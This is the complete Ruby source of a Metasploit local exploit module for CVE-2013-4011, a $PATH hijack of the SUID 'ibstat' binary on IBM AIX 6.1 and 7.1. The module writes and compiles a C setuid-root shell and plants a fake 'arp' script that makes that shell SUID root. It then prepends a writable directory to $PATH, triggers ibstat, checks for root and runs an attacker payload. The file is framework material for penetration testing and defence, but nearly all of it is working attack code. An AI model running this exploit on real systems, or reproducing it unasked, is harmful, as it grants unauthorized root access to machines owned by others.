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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Exploit::FileDropper
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'ibstat $PATH Privilege Escalation',
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        'Description' => %q{
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          This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
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        },
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        'Author' => [
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          'Kristian Erik Hermansen', # original author
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          'Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>', # Metasploit module
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          'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>' # Metasploit module
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        ],
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        'References' => [
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          ['CVE', '2013-4011'],
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          ['OSVDB', '95420'],
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          ['BID', '61287'],
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          ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'],
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          ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756']
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        ],
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        'Platform' => %w[unix aix],
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        'Arch' => ARCH_CMD,
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        'Payload' => {
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          'Compat' => {
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            'PayloadType' => 'cmd',
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            'RequiredCmd' => 'perl'
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          }
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        },
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        'SessionTypes' => %w[shell],
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        'Targets' => [
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          ['IBM AIX Version 6.1', {}],
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          ['IBM AIX Version 7.1', {}]
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        ],
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        'DefaultTarget' => 1,
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        'DisclosureDate' => '2013-09-24',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options([
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      OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat'])
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    ])
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    register_advanced_options([
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      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
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    ])
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  end
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  def ibstat_path
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    datastore['IBSTAT_PATH']
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  end
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  def check
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    find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null')
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    return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat')
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    CheckCode::Appears("#{ibstat_path} is set-uid root")
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  end
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  def exploit
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    root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"
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    arp_file = "#{datastore['WritableDir']}/arp"
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    c_file = %^#include <stdio.h>
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int main()
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{
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   setreuid(0,0);
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   setregid(0,0);
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   execve("/bin/sh",NULL,NULL);
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   return 0;
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}
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^
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    arp = %(#!/bin/sh
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chown root #{root_file}
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chmod 4555 #{root_file}
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)
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    if gcc_installed?
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      print_status("Dropping file #{root_file}.c...")
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      write_file("#{root_file}.c", c_file)
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      print_status('Compiling source...')
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      cmd_exec("gcc -o #{root_file} #{root_file}.c")
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      print_status('Compilation completed')
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      register_file_for_cleanup("#{root_file}.c")
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    else
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      cmd_exec("cp /bin/sh #{root_file}")
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    end
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    register_file_for_cleanup(root_file)
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    print_status('Writing custom arp file...')
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    write_file(arp_file, arp)
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    register_file_for_cleanup(arp_file)
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    cmd_exec("chmod 0555 #{arp_file}")
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    print_status('Custom arp file written')
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    print_status('Updating $PATH environment variable...')
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    path_env = cmd_exec('echo $PATH')
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    cmd_exec("PATH=#{datastore['WritableDir']}:$PATH")
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    cmd_exec('export PATH')
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    print_status('Finding interface name...')
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    iface = ''
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    cmd_exec('lsdev -Cc if').each_line do |line|
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      next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/)
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      iface = line.split(/\s+/)[0]
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      print_status("Found interface #{iface}.")
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      break
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    end
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    if iface == ''
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      iface = 'en0'
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      print_status('Found no interface, defaulting to en0.')
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    end
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    print_status('Triggering vulnerablity...')
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    cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null")
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    # The $PATH variable must be restored before the payload is executed
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    # in cases where an euid root shell was gained
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    print_status('Restoring $PATH environment variable...')
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    cmd_exec("PATH=#{path_env}")
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    cmd_exec('export PATH')
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    cmd_exec(root_file)
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    print_status('Checking root privileges...')
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    if is_root?
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      print_status('Executing payload...')
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      cmd_exec(payload.encoded)
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    end
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  end
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  def gcc_installed?
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    print_status('Checking if gcc exists...')
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    gcc_whereis_output = cmd_exec('whereis -b gcc')
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    if gcc_whereis_output.to_s.include?('/')
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      print_good('gcc found!')
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      return true
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    end
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    print_status('gcc not found. Using /bin/sh from local system')
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    false
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  end
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  def is_root?
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    id_output = cmd_exec('id')
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    if id_output.include?('euid=0(root)')
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      print_good('Got root! (euid)')
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      return true
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    end
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    if id_output.include?('uid=0(root)')
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      print_good('Got root!')
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      return true
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    end
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    print_error('Exploit failed')
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    false
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  end
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end
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